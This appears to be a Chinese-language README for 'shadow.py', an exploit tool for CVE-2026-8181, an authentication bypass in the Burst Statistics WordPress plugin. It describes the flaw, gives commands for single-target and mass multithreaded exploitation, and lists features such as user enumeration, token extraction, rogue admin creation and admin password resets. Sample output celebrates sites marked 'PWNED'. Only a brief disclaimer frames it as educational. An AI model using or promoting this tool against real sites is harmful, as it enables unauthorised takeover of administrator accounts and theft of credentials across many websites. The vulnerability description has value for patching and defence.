CVE-2026-8181

Burst Statistics | 权限绕过至管理员账户接管

描述：

Burst Statistics 3.4.0 - 3.4.1.1 - 权限绕过至管理员账户接管

WordPress 插件 Burst Statistics – 隐私友好型 WordPress 分析（Google Analytics 替代品）在 3.4.0 到 3.4.1.1 版本中存在身份验证绕过漏洞。这是由于在验证来自 Authorization 头的应用程序密码时，is_mainwp_authenticated() 函数对返回值的处理不正确。该函数调用 wp_authenticate_application_password(null, $username, $password)，当目标用户未配置应用程序密码时，返回 null（而非 WP_Error）。由于代码仅检查 is_wp_error()，它会继续调用 wp_set_current_user() —— 从而在整个请求期间赋予攻击者完全的管理员权限。

该绕过发生在 plugins_loaded（优先级 9）期间，通过插件启动程序中的 has_admin_access() 触发，这意味着用户模拟发生在 WordPress REST API 分发任何路由之前 —— 允许攻击者以管理员身份访问所有 WP 核心端点（/wp/v2/users、/wp/v2/users/me 等）。

这使得未经身份验证的攻击者，在知道管理员用户名的情况下，可以通过提供任意随机的基本认证密码来模拟该管理员，实现完全权限提升和管理员账户接管。

信息：CVE-2026-8181

~ CVSS 评分：9.8（严重）

~ CVSS 向量：CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

~ 受影响版本：3.4.0 - 3.4.1.1

~ 补丁版本：3.4.2

• 研究员：Chloe Chamberland - Wordfence

使用方法：

单个目标：

• python3 shadow.py -u https://target.com

单个目标（已知用户名）：

• python3 shadow.py -u https://target.com -U admin

批量目标：

• python3 shadow.py -f targets.txt -t 20

交互模式：

• python3 shadow.py
• 输入目标文件名
• 输入线程数（1-50 最大）
• 输入超时（5-30 秒）

功能：

• 多线程（批量扫描，最多 50 线程）
• 通过 X-BURSTMAINWP 头 + 基本认证实现权限绕过
• 自动检测 WordPress
• 检测 Burst Statistics 版本并检查是否在受影响版本范围内
• 路由存活检测（/burst/v1/mainwp-auth）
• 用户枚举（REST API + 作者归档 + oEmbed 回退）
• 提取应用程序密码令牌
• 通过 WP REST API 创建管理员用户
• 管理员密码重置（回退）
• 通过 wp-login.php 验证接管
• 自动 HTTP/HTTPS 回退与重试
• 三重输出（user.txt、token.txt、new-user-and-header.txt）

输出：

╔══════════════════════════════════════════════════════╗
║  🔥 CVE-2026-8181 Burst Statistics Auth Bypass       ║
║  👩‍💻 Friska & Shadow | Route Check | Full Fallback  ║
║  🎯 3.4.0-3.4.1.1 | CVSS 9.8 | Triple Output        ║
╚══════════════════════════════════════════════════════╝

[*] [HTTP] http://target.com
[+] Burst Statistics version: 3.4.0
[+] Burst mainwp-auth route alive!
[*] Testing 2 user(s): admin, editor
[*] Trying bypass on: admin (id=1)
[+] BYPASS SUCCESS → admin (id=1, admin=True)
[+] Application Password token extracted!
[💀] USER CREATED: shadow / R4nd0mP@ss!
[💀] TAKEOVER VERIFIED via wp-login.php!
[💀] SUCCESS! http://target.com/wp-admin/

⚡ MASS SCAN: 50 targets | 20 threads
────────────────────────────────────────────────────────────
[💀] [1/50] http://target1.com → PWNED!
[💀] [2/50] http://target2.com → PWNED!
[☠️] [3/50] http://target3.com → DEAD
[-] [4/50] http://target4.com → SECURED
[!] [5/50] http://target5.com → PATCHED
────────────────────────────────────────────────────────────

╔══════════════════════════════════╗
║       📊 SCAN SUMMARY            ║
╠══════════════════════════════════╣
║ 💀 PWNED: 12                     ║
║ ☠️  DEAD: 8                      ║
║ 🔒 SECURED: 5                    ║
║ ⚠️  PATCHED: 15                  ║
║ ❌ FAILED: 10                    ║
╠══════════════════════════════════╣
║ Total: 50                        ║
╚══════════════════════════════════╝

[+] 📁 user.txt | token.txt | new-user-and-header.txt

免责声明：

本工具仅用于教育和安全测试目的。

未经授权使用不属于您的系统或未获得测试许可的系统是违法的。